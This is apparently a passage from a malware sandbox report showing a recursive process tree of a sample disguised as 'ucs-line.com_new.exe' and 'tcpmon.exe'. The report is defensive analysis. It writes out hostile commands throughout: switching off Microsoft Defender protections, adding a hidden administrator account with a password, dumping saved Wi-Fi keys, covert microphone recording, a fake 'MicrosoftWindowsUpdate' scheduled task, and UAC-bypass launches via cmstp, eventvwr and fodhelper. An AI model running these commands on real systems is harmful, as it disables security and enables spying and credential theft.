        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        9⤵
        
        PID:7460
        
        C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        8⤵
        
        PID:9212
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        8⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:4120
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639216627062807572.wav')"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:2328
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        6⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:3028
      - C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        6⤵
        Creates a new local user account
        
        PID:6192
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        7⤵
        Creates a new local user account
        
        PID:6704
      - C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        6⤵
        
        PID:6660
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        7⤵
        
        PID:6908
      - C:\Windows\SYSTEM32\notepad.exe
        
        "notepad.exe"
        6⤵
        
        PID:6636
      - C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        6⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:2356
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639216626970430515.wav')"
        6⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:10012
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
      4⤵
      Disables one or more Microsoft Defender components
      Command and Scripting Interpreter: PowerShell
      PID:4236
  - - C:\Windows\SYSTEM32\net.exe
      "net.exe" user WindowsUpdater P@ssw0rd123 /add
      4⤵
      Creates a new local user account
      PID:4992
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        5⤵
        Creates a new local user account
        
        PID:4508
  - - C:\Windows\SYSTEM32\net.exe
      "net.exe" localgroup Administrators WindowsUpdater /add
      4⤵
      PID:2128
    - - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        5⤵
        
        PID:6152
  - - C:\Windows\SYSTEM32\notepad.exe
      "notepad.exe"
      4⤵
      PID:1392
  - - C:\Windows\SYSTEM32\netsh.exe
      "netsh" wlan show profiles key=clear
      4⤵
      System Network Configuration Discovery: Wi-Fi Discovery
      PID:10684
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639216626992320081.wav')"
      4⤵
      Command and Scripting Interpreter: PowerShell
      PID:10828
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
  2⤵
  - Disables one or more Microsoft Defender components
  - Command and Scripting Interpreter: PowerShell
  PID:5292
- C:\Windows\SYSTEM32\net.exe
  "net.exe" user WindowsUpdater P@ssw0rd123 /add
  2⤵
  - Creates a new local user account
  PID:1988
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
    3⤵
    - Creates a new local user account
    PID:5600
- C:\Windows\SYSTEM32\net.exe
  "net.exe" localgroup Administrators WindowsUpdater /add
  2⤵
  PID:4316
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
    3⤵
    PID:4792
- C:\Windows\SYSTEM32\notepad.exe
  "notepad.exe"
  2⤵
  PID:5764
- C:\Windows\SYSTEM32\netsh.exe
  "netsh" wlan show profiles key=clear
  2⤵
  - System Network Configuration Discovery: Wi-Fi Discovery
  PID:11220
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639216627018477039.wav')"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:5320

C:\Users\Admin\AppData\Local\Temp\ucs-line.com_new.exe
C:\Users\Admin\AppData\Local\Temp\ucs-line.com_new.exe
1⤵
PID:4880
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\ucs-line.com_new.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4772
- C:\Windows\System32\cmstp.exe
  "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\6bdc2f7f-fd80-4729-b6b0-4ac9cac418cf.inf
  2⤵
  PID:1720
- C:\Windows\System32\eventvwr.exe
  "C:\Windows\System32\eventvwr.exe"
  2⤵
  PID:3176
- - C:\Windows\system32\mmc.exe
    "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
    3⤵
    PID:4440
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  PID:4164
- - C:\Users\Admin\AppData\Local\tcpmon.exe
    "C:\Users\Admin\AppData\Local\tcpmon.exe"
    3⤵
    PID:2832
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2572
  - - C:\Windows\System32\cmstp.exe
      "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\a4c83e83-90b5-4694-baef-300c5340d727.inf
      4⤵
      PID:3416
  - - C:\Windows\System32\eventvwr.exe
      "C:\Windows\System32\eventvwr.exe"
      4⤵
      PID:4796
    - - C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        5⤵
        
        PID:3452
  - - C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      4⤵
      PID:4868
    - - C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        5⤵
        
        PID:4968
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6780
      - C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\06a20440-81a4-486b-ac64-de4a29e0c405.inf
        6⤵
        
        PID:6940
      - C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        6⤵
        
        PID:3600
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        7⤵
        
        PID:5700
      - C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        6⤵
        
        PID:4560
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        7⤵
        
        PID:6440
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7696
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\0d9b39f9-5ff4-4a85-9061-85af909a15ff.inf
        8⤵
        
        PID:7888
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        8⤵
        
        PID:7936
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        9⤵
        
        PID:8072
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        8⤵
        
        PID:8148
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        9⤵
        
        PID:7852
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        10⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:8996
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\6f0ea91a-7a58-4e17-be3c-e95550a4206f.inf
        10⤵
        
        PID:9044
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        10⤵
        
        PID:9136
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        11⤵
        
        PID:7860
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        10⤵
        
        PID:9172
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        11⤵
        
        PID:4768
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        12⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:10060
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\5a50e678-06ad-4eab-a282-dc61d18ebfec.inf
        12⤵
        
        PID:9088
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        12⤵
        
        PID:7460
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        13⤵
        
        PID:8552
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        12⤵
        
        PID:9156
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        13⤵
        
        PID:10140
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        14⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7080
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\b56edfe8-9903-4eb8-a076-82e01aa907a5.inf
        14⤵
        
        PID:10956
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        14⤵
        
        PID:11416
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        15⤵
        
        PID:11544
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        14⤵
        
        PID:11772
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        15⤵
        
        PID:1880
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        16⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:11604
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\c8f70148-aede-432d-89f2-b1212d8f80b5.inf
        16⤵
        
        PID:12616
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        16⤵
        
        PID:12992
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        17⤵
        
        PID:13148
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        16⤵
        
        PID:13172
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        17⤵
        
        PID:11216
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        18⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6436
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\2ee7079a-789a-416d-9862-c9e60fde8054.inf
        18⤵
        
        PID:12148
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        18⤵
        
        PID:6348
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        19⤵
        
        PID:2828
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        18⤵
        
        PID:2040
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        19⤵
        
        PID:6960
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        20⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:12980
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\1ad8c32c-478f-488b-bb1b-697313ee176a.inf
        20⤵
        
        PID:7612
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        20⤵
        
        PID:12708
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        21⤵
        
        PID:6656
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        20⤵
        
        PID:12496
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        21⤵
        
        PID:12276
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        22⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:14068
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\688d3554-e7a8-45d4-8142-5540d6343e84.inf
        22⤵
        
        PID:2224
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        22⤵
        
        PID:3876
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        23⤵
        
        PID:5384
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        22⤵
        
        PID:14280
        
        C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        23⤵
        
        PID:5332
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        22⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:9776
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        22⤵
        Creates a new local user account
        
        PID:8704
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        23⤵
        Creates a new local user account
        
        PID:6072
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        22⤵
        
        PID:9232
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        23⤵
        
        PID:6296
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        20⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:13456
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        20⤵
        Creates a new local user account
        
        PID:2892
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        21⤵
        Creates a new local user account
        
        PID:5636
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        20⤵
        
        PID:9428
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        21⤵
        
        PID:12004
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        20⤵
        
        PID:4104
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        18⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:4844
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        18⤵
        Creates a new local user account
        
        PID:6140
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        19⤵
        Creates a new local user account
        
        PID:13428
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        18⤵
        
        PID:6000
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        19⤵
        
        PID:14040
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        18⤵
        
        PID:13764
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639216627865407553.wav')"
        18⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:8948
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        18⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:10232
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        16⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:13180
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        16⤵
        Creates a new local user account
        
        PID:12864
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        17⤵
        Creates a new local user account
        
        PID:11676
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        16⤵
        
        PID:13064
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        17⤵
        
        PID:2932
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        16⤵
        
        PID:6796
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639216627689360588.wav')"
        16⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9092
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        16⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:13712
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        14⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:11780
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        14⤵
        Creates a new local user account
        
        PID:10448
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        15⤵
        Creates a new local user account
        
        PID:11272
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        14⤵
        
        PID:10288
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        15⤵
        
        PID:8336
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        14⤵
        
        PID:12580
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639216627459804651.wav')"
        14⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:6444
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        14⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:1484
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        12⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:7972
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        12⤵
        Creates a new local user account
        
        PID:10952
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        13⤵
        Creates a new local user account
        
        PID:3420
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        12⤵
        
        PID:8772
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        13⤵
        
        PID:1168
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        12⤵
        
        PID:11856
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639216627322612829.wav')"
        12⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:9400
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        12⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:9008
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        10⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:9180
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        10⤵
        Creates a new local user account
        
        PID:8788
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        11⤵
        Creates a new local user account
        
        PID:9528
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        10⤵
        
        PID:9332
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        11⤵
        
        PID:9952
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        10⤵
        
        PID:10820
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639216627173276638.wav')"
        10⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11716
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        10⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:10416
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        8⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:8160
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        8⤵
        Creates a new local user account
        
        PID:6720
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        9⤵
        Creates a new local user account
        
        PID:8492
        
        C:\Windows\SYSTEM32\net.exe
        
        "net.exe" localgroup Administrators WindowsUpdater /add
        8⤵
        
        PID:8548
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 localgroup Administrators WindowsUpdater /add
        9⤵
        
        PID:9104
        
        C:\Windows\notepad.exe
        
        "notepad.exe"
        8⤵
        
        PID:9436
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Add-Type -AssemblyName System.Windows.Forms; $rec = New-Object System.Windows.Forms.AxHost('{0F5819E0-38AD-11D0-A404-00A0C9062809}'); $rec.Start(); Start-Sleep -Seconds 5; $rec.Stop(); $rec.Save('C:\Users\Admin\AppData\Local\Temp\mic_639216627099881105.wav')"
        8⤵
        Command and Scripting Interpreter: PowerShell
        
        PID:11292
        
        C:\Windows\SYSTEM32\netsh.exe
        
        "netsh" wlan show profiles key=clear
        8⤵
        System Network Configuration Discovery: Wi-Fi Discovery
        
        PID:11520
      - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "powershell.exe" -Command "Set-MpPreference -DisableRealtimeMonitoring $true; Set-MpPreference -DisableIOAVProtection $true; Set-MpPreference -DisableBehaviorMonitoring $true"
        6⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:2576
      - C:\Windows\SYSTEM32\net.exe
        
        "net.exe" user WindowsUpdater P@ssw0rd123 /add
        6⤵
        Creates a new local user account
        
        PID:6280
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 user WindowsUpdater P@ssw0rd123 /add
        7⤵
        Creates a new local user account
        
        PID:6232
